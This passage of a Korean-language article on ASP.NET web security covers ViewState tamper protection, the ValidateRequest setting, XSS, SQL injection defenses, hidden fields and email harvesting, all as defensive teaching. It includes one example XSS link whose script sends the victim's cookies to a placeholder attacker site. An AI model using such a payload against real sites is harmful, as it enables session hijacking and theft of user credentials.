뷰 상태는 같은 페이지에 대한 두 개의 연속 요청 간에 컨트롤 상태를 유지하는 데 사용됩니다. 기본적으로 뷰 상태는 Base64를 사용하여 인코딩되며 변조 방지를 위해 해시 값으로 서명되어 있습니다. 기본 페이지 설정을 변경하지 않는 한 뷰 상태가 변조될 위험은 없습니다. 공격자가 뷰 상태를 수정하거나 올바른 알고리즘을 사용하여 뷰 상태를 다시 만드는 경우에도 ASP.NET은 그러한 시도를 감지하고 예외를 발생시킵니다. 변조된 뷰 상태가 서버 컨트롤의 상태를 수정하기는 해도 꼭 위험한 것은 아니지만, 심각한 감염의 수단이 될 수는 있습니다. 그러므로 기본적으로 발생하는 MAC(시스템 인증 코드) 교차 확인을 제거하지 않는 것이 좋습니다. 그림 2를 참조하십시오.


그림 2. EnableViewStateMac가 설정되어 있을 때 뷰 상태를 본질적으로 변조 방지 상태로 만들기

MAC 확인이 설정되어 있으면(기본값임) serialize된 뷰 상태에는 일부 서버쪽 값 및 뷰 상태 사용자 키(있을 경우)에서 가져온 해시 값이 추가됩니다. 이 뷰 상태가 포스트백(postback)되면 해시 값은 새 서버쪽 값을 사용하여 다시 계산된 후 저장된 값과 비교됩니다. 두 값이 일치하면 해당 요청은 올바른 것으로 간주되고 그렇지 않으면 예외가 발생합니다. 해커가 뷰 상태를 제거하고 다시 만들 수 있더라도 올바른 해시를 제공하려면 서버 저장 값을 알아야 합니다. 특히 machine.config의 <machineKey> 항목에서 참조되는 시스템 키를 알고 있어야 합니다.

기본적으로 <machineKey> 항목은 자동 생성되며 Windows LSA(로컬 보안 기관)에 실제로 저장됩니다. 뷰 상태의 시스템 키가 모든 시스템에서 동일해야 하는 웹 팜의 경우에만 이 항목을 machine.config 파일에서 일반 텍스트로 지정해야 합니다.

뷰 상태 MAC 확인은 @Page 지시문 특성인 EnableViewStateMac에 의해 제어됩니다. 이 특성은 기본적으로 true로 설정되어 있습니다. 이를 해제하지 마십시오. 해제하는 경우에는 뷰 상태 변조 한 번 클릭 공격이 성공할 가능성이 매우 높아집니다.

ValidateRequest

교차 사이트 스크립팅(XSS)은 1999년 이래로 뛰어난 개발자들이 줄기차게 대응해 온 공격 유형입니다. 간단히 말하자면, XSS는 코드의 허점을 악용하여 해커의 실행 코드를 다른 사용자의 브라우저 세션에 삽입합니다. 삽입된 코드는 실행될 경우 다음 번에 사용자가 페이지로 돌아오면 악성 코드가 다시 실행되도록 여러 가지 작업을 실행합니다. 여기에는 쿠키를 훔쳐 복사본을 해커가 제어하는 웹 사이트로 업로드하고, 사용자의 웹 세션을 모니터링하여 데이터를 전달하고, 해킹한 페이지에 잘못된 정보를 제공하여 동작과 모양을 수정하고, 코드 자체를 영구적으로 만드는 등의 작업이 포함됩니다. XSS 공격의 기본 사항에 대한 자세한 내용은 TechNet 기사 Cross-site Scripting Overview 를 참조하십시오.

XSS 공격을 가능하게 하는 코드의 허점은 무엇일까요?

동적으로 HTML 페이지를 생성하며 해당 페이지로 반향되는 입력의 유효성을 확인하지 않는 웹 응용 프로그램이 XSS의 공격 목표가 됩니다. 여기서 입력이란 쿼리 문자열, 쿠키 및 양식 필드의 내용을 의미합니다. 이러한 내용이 적절한 온전성 검사 없이 온라인 상태가 되면 해커가 이를 조작하여 클라이언트 브라우저에서 악성 스크립트를 실행할 위험이 있습니다.앞에서 언급한 한 번 클릭 공격도 XSS의 최신 변종입니다. 일반적인 XSS 공격을 수행하려면 의심하지 않는 사용자가 이스케이프된 스크립트 코드를 포함하는 잘못된 링크를 클릭하여 이동해야 합니다. 그러면 악성 코드가 취약한 페이지로 전송되어 출력됩니다. 다음은 이러한 공격 결과의 예입니다.

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>

사용자가 외관상 안전해 보이는 링크를 클릭하면 해당 사용자의 컴퓨터에 있는 모든 쿠키를 유출해 해커 웹 사이트의 페이지로 전송하는 스크립트 코드가 취약한 페이지로 전달됩니다.

XSS는 공급업체만의 문제가 아니며, Internet Explorer의 허점만을 이용하는 것도 아닙니다. 현재 유통되고 있는 모든 웹 서버와 브라우저에 영향을 줄 수 있습니다. 또한 보다 심각한 것은 이를 수정하기 위한 단일 패치가 없다는 것입니다. 그럼에도 특수한 방법과 올바른 코딩 작업을 적용하면 XSS로부터 페이지를 보호할 수 있습니다. 또한, 사용자가 링크를 클릭하지 않아도 공격자는 공격을 시작할 수 있음을 주의해야 합니다.

XSS를 방지하려면 우선 올바른 입력을 확인하여 받아들이고 나머지는 모두 거부해야 합니다. XSS 공격을 방지하기 위한 상세한 검사 목록은 Microsoft의 필독 도서인 Writing Secure Code(Michael Howard/David LeBlanc 공저)에 나와 있습니다. 특히 13장을 주의 깊게 읽어 보십시오.

잠행성 XSS 공격을 차단하는 주된 방법은 입력 데이터 형식에 관계없이 입력에 견고하고 뛰어난 유효성 검사 계층을 추가하는 것입니다. 예를 들어, 이 추가 과정을 거치지 않으면 일반적으로는 무해한 RGB 색이 제어되지 않은 스크립트를 페이지로 직접 가져올 수 있는 상황 도 있습니다.

ASP.NET 1.1에서는 @Page 지시문의 ValidateRequest 특성이 설정되어 있으면 사용자가 쿼리 문자열, 쿠키 또는 양식 필드에서 위험할 수 있는 HTML 태그를 전송하지 않는지 확인합니다. 이와 같은 전송이 감지되면 예외가 발생하고 해당 요청은 중단됩니다. 이 특성은 기본적으로 설정되어 있으므로 보호를 위해 따로 작업을 수행할 필요가 없습니다. HTML 태그를 전달하도록 허용하려면 이 특성을 해제해야 합니다.

<%@ Page ValidateRequest="false" %>

그러나 ValidateRequest는 완벽한 방어 기능이 아니며 효과적인 유효성 검사 계층을 대체할 수도 없습니다. 여기  있는 자료를 읽어 보면 이 기능이 실제로 작동하는 방법에 대한 유용한 정보를 얻을 수 있습니다. 이 기능은 기본적으로 정규식을 적용하여 일부 유해할 수 있는 시퀀스를 잡아냅니다.

참고   ValidateRequest 기능에는 원래 결함이 있습니다 . 이 기능이 예상대로 작동하도록 하려면 패치 를 적용해야 합니다. 이는 유용한 정보이지만 간과되는 경우가 많았습니다. 저도 지금에야 제 컴퓨터 중 한 대에 아직 이 결함이 있다는 것을 알았습니다. 당장 점검해 보십시오.

ValidateRequest는 설정된 상태로 유지하면 됩니다. 해제해도 되지만 합당한 이유가 있어야 합니다. 보다 나은 서식 지정 옵션을 사용하기 위해 사용자가 사이트에 HTML을 게시할 수 있어야 하는 경우를 한 예로 들 수 있습니다. 이 경우에도 허용되는 HTML 태그(<pre>, <b>, <i>, <p>, <br>, <hr>) 수를 제한하고 그 외에 다른 태그는 허용되거나 수락되지 않도록 하는 정규식을 작성해야 합니다.

다음은 XSS로부터 ASP.NET 응용 프로그램을 보호하는 데 도움이 되는 몇 가지 팁입니다.

  • HttpUtility.HtmlEncode를 사용하여 보안상 위험한 기호를 해당 HTML 표현으로 변환합니다.
  • HTML 인코딩에서는 큰따옴표만 이스케이프되므로 작은따옴표 대신 큰따옴표를 사용합니다.
  • 코드 페이지에서 사용할 수 있는 문자 수를 제한하도록 합니다.

요약하자면, ValidateRequest 특성을 사용하되 완전히 믿지는 말고 항상 확인하십시오. 시간을 할애하여 XSS와 같은 보안 위협을 근본적으로 이해하고, 모든 사용자 입력을 의심하는 습관을 들여 한 가지 핵심 사항을 중심으로 하는 방어 전략을 계획하십시오.

데이터베이스 관점

SQL 주입은 또 하나의 잘 알려진 공격 형태로, 필터링되지 않은 사용자 입력을 사용하여 데이터베이스 명령을 만드는 응용 프로그램을 공격합니다. 응용 프로그램이 양식 필드에서 사용자가 입력한 내용을 사용하여 SQL 명령 문자열을 만드는 경우, 악의적인 사용자가 해당 페이지에 액세스하여 악성 매개 변수를 입력해 쿼리 특성을 수정할 수 있는 위험이 있습니다. SQL 주입에 대한 자세한 내용은 여기 에 나와 있습니다.

다양한 방식으로 SQL 주입 공격을 막을 수 있습니다. 가장 일반적으로 사용되는 기술은 다음과 같습니다.

  • 모든 사용자 입력이 적절한 형식으로 되어 있고 예상 패턴(우편 번호, SSN, 전자 메일 주소)을 따르는지 확인합니다. 텍스트 상자에 숫자를 입력해야 하는 경우 사용자가 숫자로 변환할 수 없는 내용을 입력하면 요청을 차단합니다.
  • 매개 변수화된 쿼리를 사용하거나 저장 프로시저(권장)를 사용합니다.
  • SQL Server 사용 권한을 사용하여 데이터베이스에서 각 사용자가 수행할 수 있는 작업을 제한합니다. 예를 들어 xp_cmdshell을 해제하거나 관리자만 사용할 수 있도록 제한할 수 있습니다.

저장 프로시저를 사용하면 공격을 받을 가능성이 상당히 줄어듭니다. 실제로 저장 프로시저를 사용하면 SQL 문자열을 동적으로 작성할 필요가 없습니다. 또한 SQL Server에서는 지정된 형식에 대해 모든 매개 변수의 유효성을 검사합니다. 이것만으로는 완벽하게 안전한 기술이라고 할 수 없지만, 유효성 검사를 함께 사용하면 안전성이 보다 높아집니다.

더 나아가 테이블 삭제 등과 같이 손실이 클 수 있는 작업은 권한이 있는 사용자만 수행할 수 있도록 해야 합니다. 이를 위해서는 응용 프로그램 중간 계층을 주의해서 디자인해야 합니다. 역할을 중심으로 하는 디자인이 좋습니다. 이는 보안 때문만은 아닙니다. 사용자를 역할별로 그룹으로 묶어서 각 역할에 대해 최소한 권한 집합만을 가진 계정을 정의합니다.

몇 주 전에 Wintellect 웹 사이트가 복잡한 형태의 SQL 주입 공격을 받았습니다. 해커가 FTP 스크립트를 만들고 실행하여 실행 파일을 다운로드(악의적인지는 모르겠군요)하려고 했습니다. 다행히도 공격은 실패했습니다. 공격을 막은 것은 강력한 입력 유효성 검사, 저장 프로시저 사용 및 SQL Server 권한 사용 덕분이 아닐까요.

원치 않는 SQL 코드 주입을 피하려면 아래의 지침을 따르십시오.

  • 최소한의 권한만으로 실행하고 코드를 "sa"로서 실행하지 않아야 합니다.
  • 기본 제공 저장 프로시저에 대한 액세스를 제한합니다.
  • SQL의 매개 변수화된 쿼리를 적극 사용합니다.
  • 문자열 연결을 통해 문을 만들지 않으며 데이터베이스 오류를 반향하지 않습니다.

숨겨진 필드

이전의 ASP에서는 숨겨진 필드를 통해서만 요청 간에 데이터를 유지할 수 있었습니다. 다음 번 요청에서 가져와야 하는 데이터는 숨겨진 <input> 필드로 압축되어 왕복됩니다. 클라이언트에서 누군가가 필드에 저장된 값을 수정하면 어떻게 될까요? 일반 텍스트의 경우 서버쪽 환경에서는 이를 해결할 방법이 없습니다. 페이지와 개별 컨트롤의 ASP.NET ViewState 속성에는 다음 두 가지 목적이 있습니다. 첫 번째는 ViewState를 통해 요청 간에 상태를 유지하는 것이고, 두 번째는 보호된 변조 방지 숨겨진 필드에서 사용자 지정 값을 저장하는 것입니다.

그림 2와 같이 변조를 감지하기 위해 모든 요청에서 확인되는 해시 값이 뷰 상태에 추가됩니다. 몇 가지 경우를 제외한다면 ASP.NET에서는 숨겨진 필드를 사용하지 않아도 됩니다. 같은 작업이라도 뷰 상태가 훨씬 더 안전한 방법으로 작업을 수행하기 때문입니다. 가격이나 신용 카드 정보 같은 중요한 값을 일반 숨겨진 필드에 저장하는 것은 해커의 침입을 위해 문을 열어 주는 것이나 다름없습니다. 뷰 상태를 사용하면 해당 데이터 보호 메커니즘으로 인해 이러한 잘못된 작업의 위험도 줄일 수가 있습니다. 그러나 뷰 상태가 변조를 방지하기는 하지만 암호화하지 않는 한 신뢰성을 보장하지는 못하므로, 신용 카드 정보를 뷰 상태에 저장하는 것 역시 위험합니다.

ASP.NET에서 숨겨진 필드를 사용할 수 있는 경우는 서버로 데이터를 다시 보내야 하는 사용자 지정 컨트롤을 빌드할 때입니다. 예를 들어 열 순서 재지정을 지원하는 DataGrid 컨트롤을 새로 만드는 경우가 있습니다. 포스트백(postback)에서 새 순서를 다시 서버로 전달해야 합니다. 이때 이 정보를 숨겨진 필드에 저장합니다.

숨겨진 필드가 읽기/쓰기 필드인 경우, 즉 클라이언트가 이 필드에 쓸 수 있는 경우에는 해킹 방지를 위해 할 수 있는 일은 거의 없습니다. 텍스트를 해시하거나 암호화할 수 있지만 이를 통해 해킹이 완벽하게 방지된다고는 확신할 수 없습니다. 가장 좋은 방어 수단은 숨겨진 필드에 비활성 및 무해한 정보만 포함되도록 하는 것입니다.

ASP.NET에서는 serialize된 모든 개체를 인코딩 및 해시하는 데 사용할 수 있는 잘 알려지지 않은 클래스를 제공합니다. 이는 LosFormatter 클래스로, ViewState 구현에서 클라이언트로 왕복되는 인코딩된 텍스트를 만드는 데 사용하는 것과 동일한 클래스입니다.

private string EncodeText(string text) {
  StringWriter writer = new StringWriter();
  LosFormatter formatter = new LosFormatter();
  formatter.Serialize(writer, text);
  return writer.ToString();
}

앞에 나와 있는 코드 조각에서는 LosFormatter를 사용하여 뷰 상태와 비슷하고 인코딩 및 해시된 콘텐츠를 만드는 방법을 보여 줍니다.

전자 메일과 스팸

마지막으로 언급하자면, 최소한 가장 일반적인 두 가지 공격(일반 XSS와 한 번 클릭)은 의심하지 않는 공격 대상에게 스푸핑된 유인 링크를 클릭하도록 하는 방법으로 수행되는 경우가 많습니다. 스팸 방지 필터 기능을 사용하고 있음에도 불구하고 받은 편지함에서 그러한 링크가 들어 있는 메일을 여러 번 발견했습니다. 대량의 전자 메일 주소 목록을 쉽게 구입할 수 있습니다. 그러한 목록을 만드는 데 사용되는 주요 기술 중 하나는 웹 사이트의 공개 페이지를 검색하여 전자 메일 주소처럼 보이는 것은 모두 찾아 수집해 오는 것입니다.

페이지에 전자 메일 주소가 표시되어 있으면 웹 로봇으로 언제든지 가져올 수 있습니다. 정말이냐구요? 이는 전자 메일 주소 표시 방법에 따라 달라집니다. 주소를 하드 코드로 입력했다면 수집될 가능성이 높습니다. dino-at-microsoft-dot-com 등의 대체 표현을 사용하는 경우에는 웹 로봇이 주소를 수집하지 못하는지도 확실치 않을 뿐더러 적법한 연락처를 지정하려는 사용자도 페이지를 읽을 때 불편할 것입니다.

무엇보다도 전자 메일 주소를 mailto 링크처럼 동적으로 생성할 수 있는 방법을 찾아야 합니다. 이는 Marco Bellinaso가 작성한 무료 구성 요소를 통해 수행할 수 있습니다. 전체 소스 코드가 포함된 이 구성 요소를 DotNet2TheMax  웹 사이트에서 받을 수 있습니다.

요약

의심할 여지 없이 모든 런타임 환경 중 가장 위험한 환경은 웹일 것입니다. 누구나 웹 사이트에 액세스하여 올바른 데이터와 악의적인 데이터를 전달할 수 있기 때문입니다. 그러나 이를 방지하기 위해 사용자 입력을 받아들이지 않는 웹 응용 프로그램을 만드는 것도 의미가 없습니다.

그러므로 아무리 강력한 방화벽을 사용하고 자주 패치를 적용해도 본질적으로 취약한 웹 응용 프로그램을 실행한다면 공격자는 주 출입문(포트 80)을 통해 시스템으로 진입할 수 있습니다.

ASP.NET 응용 프로그램도 다른 웹 응용 프로그램보다 더 취약하지도, 안전하지도 않습니다. 코딩 방법, 현장 경험 및 팀워크에 따라 응용 프로그램이 안전해질 수도 있고 취약해질 수도 있습니다. 네트워크가 안전하지 않다면 어떤 응용 프로그램도 안전하지 않습니다. 마찬가지로, 네트워크를 안전하게 잘 관리하더라도 응용 프로그램에 결함이 있으면 공격자가 침입할 것입니다.

ASP.NET의 장점은 여러 과정을 거쳐야 통과가 가능한 높은 수준의 보안을 구축할 수 있는 뛰어난 도구를 제공한다는 것입니다. 그래도 아직은 충분한 수준이 아닙니다. ASP.NET의 기본 제공 솔루션을 무시해서도 안 되겠지만 전적으로 의지하지는 마십시오. 그리고 일반적인 공격에 대해 가능한 한 많은 정보를 파악하십시오.

이 기사에는 기본 제공 기능에 대한 자세한 목록과 공격 및 방어에 대한 몇 가지 배경 정보가 나와 있습니다. 진행 중인 공격을 감지하는 기술은 다른 기사에서 확인해 보시기 바랍니다.

출처: http://blog.naver.com/letsnows/40012665643

Posted by SB패밀리